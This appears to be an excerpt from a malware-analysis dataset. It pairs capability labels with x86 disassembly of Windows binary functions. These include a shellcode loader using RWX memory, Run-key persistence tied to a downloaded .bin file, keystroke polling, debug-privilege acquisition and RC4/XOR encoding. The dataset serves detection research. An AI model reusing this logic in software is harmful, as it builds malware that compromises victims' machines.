joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003fa8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2018
call fcn.100116c0
push ebx
push esi
lea eax, [ebp - 0x2018]
push edi
mov esi, ecx
push eax
mov dword [ebp - 0x10], esi
call fcn.10003637
xor edi, edi
cmp eax, edi
jl 0x10004152
lea eax, [ebp - 6]
push eax
lea eax, [ebp - 0x2018]
push eax
call fcn.1000415f
pop ecx
test eax, eax
pop ecx
jne 0x10003ff3
mov eax, 0x80020009
jmp 0x10004152
mov ecx, esi
call fcn.1000360f
lea eax, [ebp - 0x1018]
mov ecx, esi
push eax
call fcn.10003637
cmp eax, edi
jl 0x10004152
movzx eax, word [ebp - 6]
sub eax, 8
je 0x1000411a
sub eax, 9
je 0x1000407f
dec eax
dec eax
jne 0x10004141
lea eax, [ebp - 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.100116c0
mov ebx, esp
push esi
push ebx
lea eax, [ebp - 0x1018]
push 0xffffffffffffffff
push eax
push edi
push edi
mov word [ebx], di
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push ebx
call dword [sym.imp.OLEAUT32.dll_VarUI4FromDisp]
mov eax, dword [ebp - 0x14]
push 4
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 4
jmp 0x10004132
lea eax, [ebp - 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
test bl, 1
mov dword [ebp - 0xc], ebx
jne 0x100040c1
cdq
sub eax, edx
mov esi, eax
sar esi, 1
mov eax, esi
mov dword [ebp - 0x18], esi
add eax, 3
and al, 0xfc
call fcn.100116c0
mov dword [ebp - 4], esp
push esi
push edi
push dword [ebp - 4]
call fcn.10010f70
add esp, 0xc
cmp dword [ebp - 4], edi
jne 0x100040cb
mov eax, 0x80004005
jmp 0x10004152
cmp ebx, edi
jle 0x10004108
mov ecx, dword [ebp - 4]
mov eax, edi
cdq
sub eax, edx
sar eax, 1
lea esi, [eax + ecx]
mov al, byte [ebp + edi - 0x1018]
push eax
call fcn.100041de
pop ecx
mov ecx, edi
push 4
and ecx, 1
shl ecx, 2
mov edx, ecx
pop ecx
sub ecx, edx
shl al, cl
or byte [esi], al
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x100040cf
mov esi, dword [ebp - 0x18]
xor edi, edi
mov eax, dword [ebp + 8]
push esi
push dword [ebp - 4]
mov eax, dword [eax]
push 3
push edi
push dword [ebp + 0xc]
push eax
jmp 0x1000413b
lea eax, [ebp - 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1018]
push eax
push 1
mov eax, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
call fcn.10003637
cmp eax, edi
jl 0x10004152
xor eax, eax
lea esp, [ebp - 0x2024]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10004357
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push esi
push 0x40
push 0x3000
push dword [esp + 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10004392
push dword [esp + 0xc]
push dword [esp + 0xc]
push esi
call fcn.10011b60
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop esi
ret
Function at 0x10004394
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
push ebx
push esi
push edi
lea eax, [ebp - 0x1c4]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x100043f9
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1c4]
push eax
push 1
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0x20
push str.C:__Users__Public__Downloads__206.238.221.182_86.bin
lea ecx, [ebp - 0xa8]
call fcn.10004ee0
push 2
push ebx
lea ecx, [ebp - 0xa8]
call fcn.10004e7a
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0xa8]
push eax
call fcn.10004ead
mov esi, dword [eax + 8]
push ebx
add esi, dword [eax]
push ebx
lea ecx, [ebp - 0xa8]
call fcn.10004e7a
lea eax, [ebp - 2]
lea ecx, [ebp - 0x18]
push eax
lea eax, [ebp - 1]
push eax
push esi
mov byte [ebp - 1], bl
call fcn.1000563b
mov edi, dword [ebp - 0x14]
push esi
push edi
lea ecx, [ebp - 0xa8]
call fcn.10004dc6
lea ecx, [ebp - 0xa8]
call fcn.10004fd9
push esi
push edi
call fcn.10004357
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
call fcn.10005685
lea ecx, [ebp - 0x4c]
call fcn.10004f93
lea ecx, [ebp - 0x4c]
call fcn.10004dbb
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x1000c5c8
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
add ecx, 0xffffff8c
neg esi
sbb esi, esi
and esi, ecx
lea eax, [esi + 0x80]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x1000c5f0
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8
Function at 0x402850
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.0040d8fa
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0040d8fa
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jne 0x4028cc
mov eax, dword [0x5c099c]
mov dword [ebp + 8], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 4
call fcn.0040d8f4
cmp dword [ebp - 0x18], esp
je 0x4028f8
push 6
call fcn.0040d8ee
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
mov eax, 9
call fcn.0040d8f4
cmp dword [ebp - 0x18], esp
je 0x402926
push 6
call fcn.0040d8ee
add esp, 4
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
push str.SeDebugPrivilege
push 0
mov eax, 0xa
call fcn.0040d8f4
cmp dword [ebp - 0x18], esp
je 0x402952
push 6
call fcn.0040d8ee
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0xb
call fcn.0040d8f4
cmp dword [ebp - 0x18], esp
je 0x4029e1
push 6
call fcn.0040d8ee
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 0xc
call fcn.0040d8f4
cmp dword [ebp - 0x18], esp
je 0x402a06
push 6
call fcn.0040d8ee
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x402a0e
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0040d900
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0040d900
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x41b560
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e51ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004d68d5
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41b5e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d3627
mov eax, dword [eax]
push 0x5a9274
push eax
call fcn.004c4214
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004d6b60
test bl, bl
je 0x41b5e2
push 0x5a9274
lea ecx, [esp + 0xc]
call fcn.004d6f3c
push 0x5ace24
lea ecx, [esp + 0xc]
call fcn.004d6f3c
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41b61e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004d6b60
jmp 0x41b6e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41b6a2
lea edx, [esp + 0x7c]
push 0x5ace20
push edx
call fcn.004c4214
add esp, 8
test eax, eax
je 0x41b6a2
lea eax, [esp + 0x7c]
push 0x5ace1c
push eax
call fcn.004c4214
add esp, 8
test eax, eax
je 0x41b6a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41b632
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004d6b60
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41c970
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41c9d2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x41c9e0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e530b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5bc0d0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x41cb18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x41ca46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d6b60
xor eax, eax
jmp 0x41cb8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004d6ce9
push esi
lea ecx, [esp + 0xc]
call fcn.004d6f78
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x5ace6c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41cb6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x5ace64
push accept
call fcn.0041c970
test eax, eax
jne 0x41cb6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x5ace50
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0041c970
test eax, eax
jne 0x41cb6d
lea eax, [esp + 0x14]
push 0x5ace48
push eax
call fcn.004c5400
mov esi, eax
add esp, 8
test esi, esi
jne 0x41cb4c
lea ecx, [esp + 0x14]
push 0x5ace44
push ecx
call fcn.004c5380
mov esi, eax
add esp, 8
test esi, esi
jne 0x41cb4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41cb4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004d6c99
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41ca5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d6b60
xor eax, eax
jmp 0x41cb8f
mov byte [esi], 0
push 0x5ace40
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004d6b60
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x426a96
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x426abe
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret
Function at 0x430df0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x430e5e
cmp si, 0x69
ja 0x430e5e
add esi, 0xffd0
cmp si, 0x11
je 0x430e2e
push 0x11
call edi
test ax, ax
jge 0x430e2e
or esi, 0x2000
cmp si, 0x10
je 0x430e43
push 0x10
call edi
test ax, ax
jge 0x430e43
or esi, 0x4000
cmp si, 0x12
je 0x430e58
push 0x12
call edi
test ax, ax
jge 0x430e58
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x430e6b
mov esi, 0xbd
jmp 0x430e1f
cmp si, 0x6e
jne 0x430e78
mov esi, 0xbe
jmp 0x430e1f
cmp si, 0x6f
jne 0x430e19
mov esi, 0xbf
jmp 0x430e1f

Function at 0x4329a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5cd120]
xor edx, edx
cmp eax, edx
jne 0x4329c6
xor eax, eax
mov byte [eax + 0x5cd020], al
inc eax
cmp eax, 0x100
jl 0x4329ae
mov dword [0x5cd120], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5cd020
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x432a57
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x432a2a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4329f8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x432ad0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x432b23
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x432b0a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439d80
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x439f18
cmp ebp, ebx
jle 0x439f18
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x439dde
dec eax
or eax, 0xfffffff8
inc eax
je 0x439de5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x439df4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x439dfb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004d68a1
add esp, 4
cmp eax, ebx
je 0x439e1c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004d68a1
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x439f0e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x439ef5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x439ee1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x439ed6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x439ee4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x439ee4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x439e80
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x439e71
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x43c120
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.004d8264
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret
Function at 0x43c2a0
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x43c327
cmp byte [esi], 0
je 0x43c327
mov ebx, dword [esp + 0xc]
xor eax, eax
mov ecx, ebx
mov edx, dword [esp + 0x14]
push edx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebx + 2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x43c315
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x43c327
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
push edi
lea edi, [ebx + 4]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
pop edi
mov word [ebx], ax
pop esi
mov eax, 1
pop ebx
ret 0xc
mov dword [ebx + 4], eax
mov word [ebx], 2
pop esi
mov eax, 1
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x43c503
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0xbc]
test eax, eax
je 0x43c572
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
call fcn.0043c2a0
test eax, eax
je 0x43c572
mov edx, dword [esi + 0x40]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x43c56b
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x40]
push 0x21
push 0x8078
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x43c56b
mov eax, 1
mov dword [esi + 0x48], eax
pop esi
add esp, 0x10
ret 8
mov ecx, esi
call fcn.0043c4d0
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x43d590
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4e6cc8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x43d5c9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004dec71
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004decf9
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0043d650
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004ded36
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x441b10
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4e7458
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00442690
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x441bb9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004417a0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.004dd8c9
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.004574b0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.004dd93b
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14